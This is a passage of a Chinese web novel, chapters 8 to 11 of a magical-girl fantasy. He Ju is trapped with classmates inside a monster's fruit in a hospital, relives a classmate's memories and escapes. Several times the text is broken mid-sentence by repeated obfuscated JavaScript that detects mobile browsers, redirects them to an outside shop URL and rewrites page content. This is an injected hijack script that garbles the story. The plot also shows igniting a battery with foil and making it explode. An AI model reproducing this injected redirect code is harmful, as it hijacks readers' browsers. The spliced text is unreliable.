往下看是高欣陆陆续续发来的消息。先是拍了一张电气专业的录取通知书过来,然后是分班和培养计划。选宿舍的事情也要来问她,寝室楼出了还要比谁的楼栋离食堂更近…… 不过在何橘的冷处理下,她的语气从一开始的咄咄逼人逐渐变得冷静,到了后面点卯似的,话都懒得说了,每天准时发一个句号。 完全不知道她在坚持些什么。 然后是今天发来的讯息。 高欣:【何橘,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17048741|194772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来参加同学聚会吗?】 高欣:【别躲着我了,我有话想当面问你。】 何橘泰然自若地收起手机:“看到了。” 纪卓洲看她一个字都没回:“……你不回复高欣吗?” “感觉回复的话会被问为什么不参加,解释起来太麻烦。”何橘摇头,“我先去借推子。” 门轻轻掩上。纪卓洲劝不动何橘,只能按照计划帮小朋友擦干头发,坐在凳子上的高颖晃了晃腿:“高欣……?哥哥,你和刚才的姐姐都在一中念书吗?是不是在一班?” “你也认识高欣吗?” “当然。”小孩自信地跳下椅子,“我叫高颖,高欣是我的姐姐。她每天中午都会来看我,这些书就是她放在这里的。” “她每次看书累了就在书里写一个词。我无聊时就喜欢翻着找。” 高颖单手拿起床头柜最上面的一本高等数学,纪卓洲接过来,帮他翻页,在高颖喊停时恰好停在了习题的某一页。 一道纪卓洲看不懂的题,解字后面跟着一片手写的答案。高欣大概是写困了,字迹飞起,最后自然是算错了。她用红笔狠狠一划,在后面写下何橘的名字,还带着一个感叹号。 往后翻,又找到了几个,唯一不同的是后面感叹号的数量。一个两个三个的都有,最高可达五个感叹号。 把何橘的名字当重难点标记用了。 纪卓洲好像无意中撞破了一点高欣的秘密,但这或许也是让何橘离开医院的一个办法。 他假装什么都没发现一样把书放回原处,然后把顾书文从床上抬起来。 他年轻,力气大,也有照顾病人的经验,知道人的重心在哪儿,把顾书文放到轮椅上的过程轻松又高效,同时还能分心想着何橘的事。 等何橘回来,就把高欣会来的事告诉她。这样不用拿聚会当借口,她也能顺理成章离开医院,避开这次的怪兽。 可惜纪卓洲和顾书文不熟,不知道顾书文是个多难缠的人。 被石膏包裹的右腿像一副沉重的镣铐,限制了顾书文的全部自由。他的脊背佝偻着,看着窗外风景,眼底的向往流露一瞬又很快收回。 “谢谢你把我搬到轮椅上,我好久没坐在椅子上了,你真是个好人。” 方才纪卓洲还疑心顾书文有问题,此刻却觉得他有些可怜了。骨折这事也不是出自个人意愿,谁又想每天依靠他人才能自由行动呢? “不客气,我先给你洗头。”纪卓洲整理清洁用品,“你真的要剃光头吗?要不要再想想……” 身后传来哐的一声。 809病房的门轴发出无力的吱呀声,虚掩的门被猛地撞开,一道影子唰地掠过,快得只剩残影—— 顾书文开着电动轮椅跑了! 纪卓洲茫然地睁大眼睛,表情空白。不是……这人就这么直接跑了? 来之前别人告诉他这里是骨科,也没听说有精神科的患者啊! 纪卓洲赶忙追了出去,唯一留在809的高颖左看看右看看,见谁也不在,从书堆里拿出一本书,小心翼翼地取出一枚书签。 书签上画着一枚小小的、正要发芽的种子。 “都走啦。”他小声地、对着书签说,“现在,我们可以说悄悄话啦。” 8. 第二只怪兽 顾书文驾着电动轮椅一路风驰电掣,值班的护士多看了他几眼。骨科的患者毕竟不是囚犯,出去晒晒太阳也有助于骨骼愈合。 “快下雨了,别待太久!”护士叮嘱一句,便随他去了。 追出来的纪卓洲恰好错过了一班电梯,等他再找到顾书文时,对方已经在医院的草坪边晒了有一会儿了。 浮云如同扯散的旧棉絮,日光在云隙间若隐若现。草叶晒得发蔫,茎杆耷拉下来,随风稳稳摇晃。几只麻雀在灌木间觅食,试图在大雨到来捉几只虫子,填饱饥饿的肚子。 顾书文深深吸了一口气。那股沉闷的、饱含水汽的空气涌入胸腔,他感到久违的畅快。 一束侥幸未被云层吞没的日光斜打在他脸上。他抬手,透过指缝,看见快被乌云吞没的太阳,低飞的燕子披着最后的余晖。 他喃喃自语:“要是我的相机没被没收就好了。” 纪卓洲叹了口气,见他这样,被耍了一通的火气也发不出来。人没事就行,他绕到顾书文的背后,扶住轮椅的把手:“你想去哪?我带你回去时可以绕一段路。” “你人真好。”顾书文又发了一张好人卡。 他声音欢快:“想去的地方没有,想拜托你做的事有一件。你站到我前面来。” “你是不是又想跑?” “没有,你做完我就和你回去。” 纪卓洲依言站到顾书文的正前方,接着又在他的指挥下前后左右移动些许,直到顾书文喊停。 顾书文闭上一只眼睛,身体微微前倾。两只手的大拇指与食指组成相机的镜头,框住纪卓洲的上半身:“茄子。” 纪卓洲配合地扯出一个笑容。 顾书文维持着姿势,轻吹一声口哨:“打从看见你,我就觉得你很上镜。好好打扮下靠脸就能当网红。” 纪卓洲礼貌道:“谢谢,我没兴趣。你这是在干什么?” “想看看能不能把看到的东西变成一张照片。”顾书文遗憾地叹气,“这构图真的很不错。” 《魔法少女梅可可》第二十六集登场的摄像机怪兽就是用这招把普通人封印进照片当中的。唉,现实世界果然做不到。说到底魔法少女也是虚构的作品,当不得真。 “原本我就是因为拍摄才骨折,现在这样也算是对我的惩罚。” 顾书文自怨自艾了一会儿,颇为不舍得注视着这幅风雨欲来、颓丧中暗藏生机的背景构图,眼神里满是“恨不相逢未嫁时”的憾然。 “诶,你……”纪卓洲被他热切的眼神看得有些不自在。 他能感觉到顾书文真的很难过。看一件事对人多重要,得看他愿意为此付出多大代价。 顾书文为了拍摄住进医院后依旧喜欢摄影,那这件事对他而言一定很重要。 虽然被肯定的只是这张脸,但任谁被这么夸,心里多少都会有点高兴。 尽管对刚认识的人做这种承诺有些轻率,纪卓洲还是抬手,安慰似的拍了拍顾书文的肩膀:“等你出院,带上相机,我们再找个下雨天来这儿拍就行。” “嗯?我们?”顾书文困惑地转过头,“你来干什么?” 他的语气让纪卓洲也跟着不确定了:“当你的模特?” 顾书文用一种“你没事吧”的眼神看着他,重复道:“你?” “那你说的上镜和网红是?”纪卓洲意识到了什么,“你刚才不是还让我调整角度?” “我不是那个意思。”顾书文的肩膀开始小幅度地抖动,像是拼命憋着笑。 “我是怕你吓跑那边的麻雀,才让你挪远点儿。”顾书文瓮声瓮气地说,“啊,还没和你自我介绍。” “大鸟小鸟都是好鸟。”他伸出右手,眉梢一扬,“我叫顾书文,之前是一名城市观鸟爱好者。” “……我叫纪卓洲。” 纪卓洲盯着顾书文那副忍俊不禁的表情,机械地伸出手,脑子里只剩下一个念头在盘旋。 他在耍我吧? 他刚才绝对是在耍我吧? 又是一阵带着水汽的风吹来,觅食的麻雀张开翅膀,向远处飞去。 两只交握的手摇晃一下后分开,顾书文扶住轮椅:“你有没有感觉地面在震?” 话说出口的下一秒,地面的震感便愈发强烈。人像是被塞进了绿皮火车,控制不住地颠簸起来。 周围的人们一个接一个倒下,顾书文也开始感到晕眩:“什么……” 身体逐渐无法保持平衡,他伸出手,却抓住了一双与刚才触感截然不同的手。 属于男性的骨骼变得纤细,皮肤更为柔软。一缕金发垂落在他的手背,带着卷曲的弧度。 眼皮沉重得像坠着铅块,越是想要看清,越是无法抗拒睡意。在意识彻底沉入黑暗前,顾书文问出最后一个问题:“你……是谁?” 纪卓洲接住顾书文的身体:“阿丘。” “来了。”粉章鱼恰到好处地从天而降,稳稳当当落在纪卓洲的肩膀上,“认知屏蔽领域已生成。怪兽出现已确认。孵化进程持续中。” 粉章鱼原本在医院的另一边,它搭了怪兽的便车,是从刺猬身上跳下来的。 不过,这东西真的能叫刺猬吗?它通体是一种不自然的草绿色,四肢短小得几乎退化,尾巴更是瞧不见。苔藓般柔软的短毛覆盖着身躯,上面竖立着枯黄、坚硬的针刺。 比起生物学界的刺猬,纪卓洲觉得它看上去就像一个长满尖刺的仙人掌球。 当然,是放大了不知多少倍的。 地面随着刺猬每一步落下而震颤,脚下的石砖发出不堪重负的呻吟,仿佛再多踩几下就会彻底碎裂。好在它走走停停,似乎对纪卓洲和粉章鱼毫无兴趣。 每隔几步,它便用湿漉漉的鼻尖去探寻空气中的味道,时不时用爪子扒拉地上的植被,将整齐的灌木与草皮啃得一片狼藉。又或者干脆停下,全身的重量压在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17048742|194772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后腿上直立起来,扬起脑袋,发出一连串尖细的呼唤。 纪卓洲离远了一点:“它在找什么?” “不知道。新生的怪兽智商很低,往往只会依照基质与构成行动。” 粉章鱼在仔细观察与认真教育之间选择了努力撺掇,它挥舞着卷成拳头的触须:“快上,干掉它!” 何橘觉得情况不对劲。 她去借理发工具,这东西虽然有,但不常用,何橘试了一下发现没电。管理人员花了一段时间才从陈列柜的犄角旮旯摸到配套的电池,等何橘赶回809所在的走廊时,一个人都没有看见。 医生、护士、病患,所有人都不见了。门和窗户都敞开着,外面的天色暗淡下来,风带着湿气,和医院里特有的消毒水味混成一团。 顶灯投下惨白的光,大理石板上凝结了一层细小的水珠,淡绿色的霉菌爬满墙壁的每个角落。 绿植在疯长,以肉眼可见的速度爬上墙壁,根系如活物般深深扎入地面的缝隙。没等何橘往外跑,那些藤蔓般的枝条已如活蛇般缠上她的四肢,将她不由分说地“拽”向更幽深的809室。 一回生,二回熟。 何橘心里比上回撞见鼠群时平静了些。在发现撕扯藤蔓纯属徒劳后,她便干脆地放弃了无用挣扎。这东西好像没有痛觉,打不还手,骂不还口,倒真和植物似的。 要是用火的话…… 被藤蔓塞进一个密闭的球形空间时,她还有空余胡思乱想。 怎么到处都是乱七八糟的动植物。 才三天就碰上了两起,照这个频率下去,人类是不是要毁灭了? 很快,更多的东西被藤蔓组成的围墙吞了进来。铅笔、橡皮,钢尺,几板药片和书籍,再然后是一大一小两个人。 何橘刚好都认识。 小的是被顾书文抢了平板的小颖小朋友,大的是……高欣。 两个人捆在一起,双目紧闭。何橘这才看出他们的面庞有几分相像。缠在他们的身上的藤蔓更多,而且与整个球形空间连在一起。 如果说何橘是被捆了两下随手丢到一边的便宜快递,那他们算是包得里三层外三层的至尊打包,甚至能一眼让人失去徒手拆箱的念头。 “高欣,醒醒。”何橘推了下她的肩膀,见她没反应,咬咬牙又去试她的鼻息和脉搏。 还好体温和心跳都有,呼吸绵长而平稳,更像是睡着了。高颖也是一样,只是怎么叫都叫不醒。 何橘松了口气,不知道该说幸运还是不幸,顾书文和纪卓洲都不在。她又等了一会儿,见藤蔓没有再抓新的东西进来,开始想别的办法求生。 肯定是要跑的,但不知道跑了以后怎么办,外面全是藤蔓,不除干净肯定还会被抓回来。上次老鼠把溜冰场弄得一团糟,事后却一切如常,那她是不是也能做得过火点? 何橘摸了摸口袋里的锂电池。 比如……点个火什么的。 9. 同位体 一折两半的橡皮是个不太好用的绝缘体,但用来保护手指免遭烫伤还算够用。 何橘抠开药片背面密封用的锡箔,撕成细长的一条,再用橡皮夹着,连通电池的正极与负极。 短路瞬间释放出大量的热能,火焰顺着锡纸蔓延。堆放在下方的书本充当助燃物,缠绕在一起的藤蔓逐渐焦化,烧出一个巴掌大的孔洞,风顺着洞口吹进来。 外面并非何橘以为的809病房。 朋友,你见过屋檐上长出的野草吗? 风带来顽强的种子,雨露使之生根发芽。它们的根须扎入瓦砾,从此也成为房屋的租客。 何橘就在这样一棵“树”上。 床与柜子被掀翻在地,玻璃碎得到处都是。一根根手腕粗细的藤蔓拧成了树的主干,土黄色的根须盘根错节,塞满整个房间的同时,也将自己牢牢固定在医院楼房之上。 庞大的树冠顶破了混凝土浇筑的墙壁,更多的枝叶野蛮地向着天空舒展。分叉的枝桠上,成千上万的叶子在风中猎猎作响。 离地几十米的高空,一颗沉甸甸的果实坠在枝头。果实触感柔软,表皮通红却有韧性。何橘在摇晃中扶住墙壁,摸到一手黏腻的汁水。 果实内壁烧焦的部位不断渗出半透明的液体,正以肉眼可见的速度愈合,并散发出一种清甜的香气。 不行,逃不掉。 材料还够,可燃烧破坏的速度远远跟不上果实自愈的速度。就算勉强烧开一个口子,在高空也没有离开的途径。 何橘不安地甩掉手上的污渍。她被藤蔓抓住,然后被关进挖空的苹果里充当果核?那些缠在高欣和高颖身上的根本不是藤蔓,而是果实内部的经络。 甜腻的香味愈发浓烈。何橘对这种气味再熟悉不过,这是只有即将成熟的水果才会散发出的发酵香气。 这颗苹果……要坠落了。 地面上没有苦思冥想的牛顿,但有一只饥肠辘辘的刺猬。 它寻觅的动作骤然停顿。紧接着,这庞然大物将柔软的腹部一收,竟像只穿山甲般蜷成一团,径直朝着何橘的下方翻滚而来。 随着一声“咔嚓”脆响,果蒂脱离树干,失重感如预期那样到来。 从高空坠落听起来漫长,但实际也只是一瞬间的事情。 手脚不听使唤,思考的时间更是没有。何橘抓着高欣与高颖,害怕地闭上眼睛。 视觉被剥夺,其他的感官越发敏锐。 浓郁到近乎窒息的果香包裹着她,甜腻如糖霜,黏稠如蜂蜜。可未等她沉浸其中,那甜香骤然变质,开始混杂进腐败的酸臭。 呼啸的风声、下坠的失重感逐渐远去。不,不止这些,很快,连这气味也消失了。 很熟悉的感觉。 两天前在商场时,何橘也曾于嘈杂的噪音中听到许许多多的人对着空调抱怨。信息如同一股洪流,将她的精神不受控制地卷入其中,吞噬殆尽。 何橘睁开眼睛,发现自己已经换了个地方。 午后的阳光照进熟悉的教室,细小的浮尘在空气中漂浮,操场上的喧闹声遥远而模糊。 高考倒计时的日历放在讲台上方,总有粗心大意的值日生多翻一页又或是少翻一页。于是,时间也就在这时对时错的翻动间,稀里糊涂地溜走了。 教室里没有人,她的面前是一张墨绿色的课桌。一张订正到一半的试卷摊平放着,上面的字迹整洁娟秀,左上角的名字写的是高欣。 “高欣。”有人说。 见她不回应,那人又喊了一声:“班长。” 何橘最开始以为是自己念出了声,慢半拍才发现有个人坐在她的后桌。那个人的声音和她一模一样,她回过头,看见每天都能在镜子里见到的熟悉脸庞。 是何橘。 确切地说,是几个月前的何橘。 另一个何橘递来高考志愿意向表:“我填好了。” 何橘记得这一天,班上其他同学都早早准备去上高中生涯最后一节体育课了。她忘记填志愿表,于是负责收齐表单的高欣也不得不留下来等她。 其实她没有忘记,只是还没想好。青城大学教学资源好、离家近又是学费便宜的公立学校,它哪里都好,唯独录取分最高的专业不是何橘想去的专业。 “你只填了青大的电气专业?”何橘看见自己的身体接过意向表,扫了一眼上面的小字,“你的平时成绩很好,不考虑冲一下外省的大学吗?青大电气可以当做保底。” 是高欣的声音!何橘猛然意识到自己正寄居于高欣的身体里,透过她的眼睛,重温这段过往的记忆。 她甚至能读到一点高欣说话时苦涩的情绪。 高中生何橘问:“只写一行不可以吗?” 何橘知道过去的自己会怎么回答,也知道高欣接下来会说什么。 “可以,毕竟只是模拟填报。”高欣一向是个认真负责的人,“但模拟的意义也在这里。事先了解自己的目标,再为之努力是件很重要的事情。” 高中生何橘摇头:“不用了,我只想留在青城。” 对话到这里就结束了,可高欣的视角里的故事仍在继续。 何橘去上体育课后,高欣独自坐了一会儿。 高欣的外表一眼看上去就是老师家长最喜欢的乖学生类型,个头儿不高不矮,眉目清秀,圆脸带着点婴儿肥,说话温柔,干活也有条不紊,周身透着一种被规训过的知书达理。 这份气质源自高欣的家庭。她的父母在教育行业深耕多年,孩子亦是他们标榜的最完美的教育成果。 艺术、涵养、礼仪……父母早早为她铺路,让她比同龄人起点更高,选择看似更多。但并非每一条路,她都能一直领先。 努力的人比不过有天赋的人,有天赋的人比不过努力又有天赋的人。 她常常被抛下。 父母深知她的极限,适时地在她奔跑的路径上,划下一条无形的“安全线”,温柔地规劝:“到这里就够了,你已经很努力了。” 于是高欣就明白,她的努力到此为止。此后,她只能眼睁睁地看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17048743|194772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着他人越跑越远,最中消失在视野尽头。 高欣看着桌子上的卷子。 她算错了倒数第二道大题,对最后一道题的思路一无所知,而何橘拿到的是满分。这张她需要花时间订正的卷子,于何橘而言,在写完后便已没有任何用处。 高欣抿着唇,脸上不见笑意,她近乎强迫症般,将志愿意向表一张张抚平、对齐,三十多张纸摞得整整齐齐,边角严丝合缝。 最后,她拿走了桌上的圆珠笔。 起身时,椅脚与地面刮擦出刺耳的摩擦声。 带着一摞申请表和今天收上来的作业本,高欣走向二楼的办公室。路上几个男生在走廊打闹,一不小心撞到高欣的肩膀,申请表撒了一地。 “对不起对不起!”男生们被高欣骤然阴沉的表情吓了一条,以为自己闯下大祸,连连道歉,手忙脚乱地帮着捡。 最上面几张顺着楼梯口飘到楼下,路过的纪卓洲捡了起来,视线在某一张上面多停留了一会儿。 “给。”纪卓洲将飞散的表单还给高欣,很自然地顺手接过她怀里那摞作业本,“赵老师留的作业可真多,我和你一起送过去吧。” 高欣没有推辞。二人一起上楼,纪卓洲仿佛闲聊般问起:“班长,你打算报青大的电气?” 高欣低着头,紧紧地抱着意向表,既像抱着一块拉着她下沉的石头,又像抓着一块向上的浮木:“我填了通信工程……它的分数线低些。” “班长考虑周全,肯定没问题的。”纪卓洲若有所思,“我也打算报青大,不过我和班长不一样,能擦线进就谢天谢地了。” “可我上午看你填的好像是传媒大学?” “刚决定的。我家里……不太管这些。” 纪卓洲脸上那轻松的笑容,莫名让高欣感到一阵窒息。她用力抿了抿唇,才挤出和往常相同的表情:“还有三个月呢,都来得及。” 到了办公室门口,纪卓洲把作业本还给高欣,便先一步溜了。 他这种看起来好说话但成绩一般的学生被老师逮住,总是要被语重心长地教育几句的。他能躲就躲,已经快成为一种习惯。 敲门的手举到一半又放下,高欣走到走廊的窗边,抱着的作业放到窗台上,从意向表中抽出属于自己的那一张。 圆珠笔的笔尖几乎要划破纸背,高欣看着自己原先写下的电气工程及其自动化,重重划掉,改写成一个分数线更低的专业。 “人要有自知之明。”她盯着那行字迹,对自己说。 何橘的指尖点在高欣写下的字上,骄傲与自卑如同并生的荆棘,在心底扎根。 她恍惚间觉得自己不再是依附在高欣身体里的旁观者,她被困在了高欣的回忆里。 高欣的手指随着何橘的意志而动,何橘重复一遍:“我要有自知之明。” 透明的玻璃窗照出高欣的脸,是的,这就是她。她接纳高欣的情绪,她成为了她。 “……我该去送作业了。” 何橘抬起手,敲响了办公室的门。 10. 脱离 班主任清点完何橘送来的作业后,又稍微叮嘱何橘注意班上的学习氛围,就让她去上体育课了。 最后一节体育课,体育老师大手一挥下了赦令,想玩什么玩什么去吧。何橘到的时候,同学们完成了热身和跑圈,一哄而散,各自开始自由活动。 几个关系不错的女同学就招呼何橘在操场边坐下,边聊天边看男生们打球。 “高欣,你来得刚好。”朋友挽住她的胳膊,“你觉得陈杰轩和纪卓洲谁能赢?” 何橘试着把胳膊抽出来,但抽不动,李佳的手跟铁钳似的箍着她,她的反抗被无情镇压。好在那股与人接触的怪异感很快如潮水般褪去,在李佳的二次催促下,何橘开始观察球场上较劲的二人。 抱着球进攻的是陈杰轩,负责防守的是纪卓洲。身高上是纪卓洲占优,但陈杰轩更有经验,他像个机敏的猴子,上蹿下跳的假动作一个接着一个,却还是没能找到突破口,比赛正胶着。 听见她们的说话内容,陈杰轩一扬手,意气风发地说:“我赢了请大家喝汽水!” “那就陈杰轩吧。”何橘顺水推舟地回答,“我想喝汽水。” “班长!‘那就’两个字是多余的!” 陈杰轩不满的叫嚷让一众围观者笑出声,何橘的心情也跟着轻快些许:“那换纪卓洲。” 纪卓洲挑眉,笑容在阳光里闪闪发亮,他扯着衣领擦了下脖颈的汗珠:“我赢了的话……” 随着漫不经心地接话,纪卓洲的视线终于从篮球上离开。 陈杰轩抓住稍纵即逝的破绽,骤然发起进攻,下一秒篮球落入篮筐,顺利得令人意外。 无人拦他。篮网摇晃,篮球在塑胶地面上弹跳,滚过纪卓洲脚边。 刚才还笑着的人,笑容忽然僵在脸上。他盯着坐成一排的女生们,准确地说,是盯着在同李佳有说有笑的某个人:“何橘?” 之前在纪卓洲脸上堆砌的笑意如同奶油做成的假面,轻而易举地融化,取而代之的则是混杂着焦急与不安的神色。 “何橘?”李佳愣了愣,环视一周后撇撇嘴,“她在升旗台那边,怎么了?” 纪卓洲丢下比赛快步走来,他的影子完全罩下来时,何橘才慢慢抬头。 她闻到一股熟悉的香甜气息。 那味道并不浓烈,却让何橘莫名有些不适。她躲了一下,还是被纪卓洲按住肩膀,后背“咚”一声撞在铁丝拦网上:“何橘,你怎么在这里?” 男生手掌的热度透过夏季校服单薄的布料传递而来,纪卓洲按住她肩膀的手力道不小,隐隐透露出一股压迫感。 但这压迫感下一秒就被他一阵摇拨浪鼓似的晃动给打散了,她在纪卓洲的手里翻来覆去地甩,魂都要甩飞出去。 李佳再次抓住何橘的胳膊:“纪卓洲!你干什么啊,快放开高欣!” 周围的人七嘴八舌地附和着,何橘被纪卓洲晃得晕头转向,仿佛有人把她塞进滚筒洗衣机,再放了八百只鸭子在耳边叽叽喳喳。 两种目的不同的力量拉扯着她的理智,那甜腻的香气时有时无,周围七嘴八舌的声音混在一起,吵得她脑仁疼。 “都别说了!”何橘用尽全力喊道。 视线逐渐模糊,一张张或生气或担忧的脸庞融化成抽象的色块,她闭上眼睛,最后脑海里只剩下了两个名字。 高欣和何橘。 输家与赢家。 拥有朋友的人与形单影只的人。 ——她是谁? ——她想成为谁? 两个选项摆在何橘面前,只是提问的人弄错了对象。对何橘来说,这从来不是选择题。 何橘想也不想地抓住自己的名字。 她不需要高欣的嫉妒与渴望证明自己的优越,也不需要披着别人的外衣交朋友。 包裹着她的幻想外壳被敲碎,属于高欣的记忆和情绪抽离而去。又一次在怪兽的感染中恢复清明,何橘睁开眼睛,发现危机从未解除。 风声依旧刺耳,苹果仍在坠落。唯一不一样的是地面上多了一只翘首以盼的绿刺猬。 何橘看着它翘首以盼的样子,几乎能想象这颗包裹着她和高欣高颖三人的苹果摔得四分五裂,再被美美享用的画面。 不行!绝对不行! 刚出虎穴又入狼口,何橘心急如焚,还没等她想出个什么主意,地上的刺猬不知何时翻了个面,露出柔软的肚皮。 噗呦。 苹果不偏不倚,大半颗都陷进了那柔软的肚皮里,像一颗硕大的樱桃砸进果冻,甚至还欢快地颠了两下,才骨碌碌滚向草丛。 一道身影从刺猬头顶跃下——方才,正是纪卓洲趁它仰头,一拳将它揍翻,勉强当了个临时“肉垫”。 这招能用一次用不了第二次,他用肩膀顶住即将撞上楼房的苹果,终于勉强让它停下。 章鱼趴在他头顶,催促道:“快!里面有人,一、二……一共三人,其中之一是怪兽的宿体!” 纪卓洲一拳捶在苹果上,果皮竟如钢板般纹丝不动。他大声道:“里面的人还醒着吗?别担心,我会救你出来的!” 章鱼对纪卓洲试图安抚受害者的行为刻薄评价:“省省吧,被怪兽感染的人会陷入幻境,怎么可能醒……” “我醒着!”何橘提高音量回答。 章鱼和纪卓洲瞬间噤声。前者是因为话刚说完就打脸,后者是因为……这个声音、这个声音怎么这么耳熟!? 何橘不会又被牵连了吧?纪卓洲盯着通红的果皮,心头忧虑如野草在心里疯涨,可惜他没有章鱼那样的感知能力,无法探知内部情况。 这苹果表皮如同单向玻璃,外面看不见里面,里面却看得分明。 ……又是那个穿着奇怪的女生。 何橘安抚地拍了拍受惊的心脏,就当是一场平常人不敢体验的蹦极。没缺胳膊没少腿,脑袋还能想事情,姑且称得上有惊无险。 虽然外面站着一个肯定与奇异现象脱不开关系的怪人,但对方上次一拳打飞巨鼠的样子还历历在目,情况总比上次强……吧? 那充当了肉垫的刺猬,此刻像只翻不过身的笨拙乌龟,四脚朝天徒劳地划拉着空气,一圈圈原地自转。 何橘赶紧和外面沟通:“里面一共三个人,除我之外的两个都在昏迷,你能破坏这个苹果吗?” “徒手拆不开,我需要找些工具。” 时间还来得及。何橘比自己想的还要冷静。她必须立刻采取行动,因为一旦停下来,恐惧便会重新占领她的大脑。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17048744|194772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “我明白了。”她撕掉高欣高颖姐弟俩身上的藤蔓,这一次就像撕开白纸一样轻松,随后又拿出了电池,“你离远点。” 还是和之前一样的操作。火苗在锡纸上燃起,烧灼果壳。何橘将手边所有书本全塞进火里,待火焰蹿得足够高时,看准时机,将电池丢了进去。 电池外壳在火光中软化变形,内里的溶液在与空气接触的下一秒发出轻微的爆破声。刺目的白光闪过,剧烈的爆炸烧开一道半人高的开口,大量的黑烟填满每一处空隙。 成功了! 何橘费力地睁开一只眼睛。燃烧后的焦炭还带着滚烫的余温,她必须小心地避开那些有可能会烫伤她的地方:“情况怎么样?我先把他俩送出去……” 外面的人没说话,何橘猜测对方亦因爆炸的影响感到为难,她一边咳嗽一边摸索着:“附近草坪上有没有灌溉用的水管?消防栓也行!咳咳……先拿水冲一下,只要温度不降下去,外皮是无法自愈的……” 话还没说完,一只手伸了进来。在何橘还没看清时,那只手已毫不在乎地按在焦黑滚烫的果皮边缘,硬生生掰下了一块! 何橘眨了眨酸涩的眼,目瞪口呆:“你在干什么?你不怕烫的吗?” 力大无穷,不怕高温,难道真是火星人? 纪卓洲一言不发。他的衣袖和脸上都沾满了黑灰,像只刚从灶膛里钻出来的小狗。脸绷得比锅底还黑,手底下却一刻不停。第二块、第三块……裂口被他越撕越大,灌进来的风渐渐吹散了浓烟。 何橘估计自己现在也是这副尊容,甚至更糟。 “不用再掰了!”何橘比划着洞口的大小,这个大小足够她猫着腰钻出去。她正要反身拖另外两人往外走,纪卓洲一把抓住她的手,不由分说地先把她拽了出去。 重新回归自由,迎接何橘的不是清新美好的空气,而是纪卓洲一顿劈头盖脸的训斥。 “你知不知道这很危险!”他拔高音量,几乎是在吼了,“你被困在里面,万一果皮没被炸开呢?!碎片崩到眼睛怎么办?!火星子溅身上着火怎么办?!何橘!你做事之前到底有没有想过后果!” 抓着何橘手腕的那只手微微发抖,不知是疼的还是气的。 何橘原本想反驳,说些诸如涤纶布料没那么容易烧着,7号电池也没有那么大威力之类的话,但一抬头,看见纪卓洲的眼睛,还是把那些话都咽回了肚子里。 “……对不起。”她声音低了下去,“别生气了。” 眼前的少女有一双漂亮到不真切的红色眼睛。最开始是鲜红,随后慢慢转淡,定格为浅红琉璃般的色泽。当然,这种颜色的转变原因何橘还不得而知,只能简单粗暴的一律归结为外星人的种族特色。 只是当何橘仔细看时,却从那双眼眸里读出声音未曾透露的焦急与不安。 何橘觉得她好像在哪里看见过类似的表情。 就是今天,就在刚才。如果这张脸的轮廓再硬朗些,如果个子再高些,如果是以俯视的角度看过来…… 何橘用脏兮兮的手指捏住少女的脸颊,将她喋喋不休的话语手动静音:“我好像……从没告诉过你我的名字。” 她慢吞吞地发问。 “——你怎么知道我叫何橘?” 11. 戒指 这个问题如一桶冷水,浇熄纪卓洲的全部愤懑。 “呃……唔……” 他浑身僵硬,从喉咙里挤出几个干巴巴的音节,脸颊如同面团般任由何橘上下左右转着圈儿揉搓。 他刚才真有喊出何橘的名字吗?有吧,就当有吧,他连确认的胆量都没有,光是视线忽闪着瞥上何橘一眼,就已经用光他全部的勇气。 有那么一瞬间,纪卓洲是想要全盘托出的。 早该坦白了,上次约会时就该说清楚。谁能知道像现在这样的怪兽未来还会出现多少次,虽说知道的越多越危险,但总比无知强。纪卓洲下定决心:“何橘,其实——” “其实我们是正义的魔法少女组合!”一道略显浮夸的声音突然打断纪卓洲。 声音的来源很近,某种类似流动凝胶的生物于少女的头顶逐渐显形,再下滑到肩膀与何橘平视。 它只有拳头大小,通体淡粉,不知是由什么材料组成,透过身体能隐约看到背后的景物。 在何橘惊讶的注目礼下,阿丘分出两条触须,优雅地行了鞠躬礼:“你好,何橘,请让我做个简单的自我介绍。” “我正在说很重要的事。”少女说,“你等一下!” “我的自我介绍也很重要!”阿丘回嘴,“你快去打怪兽。” 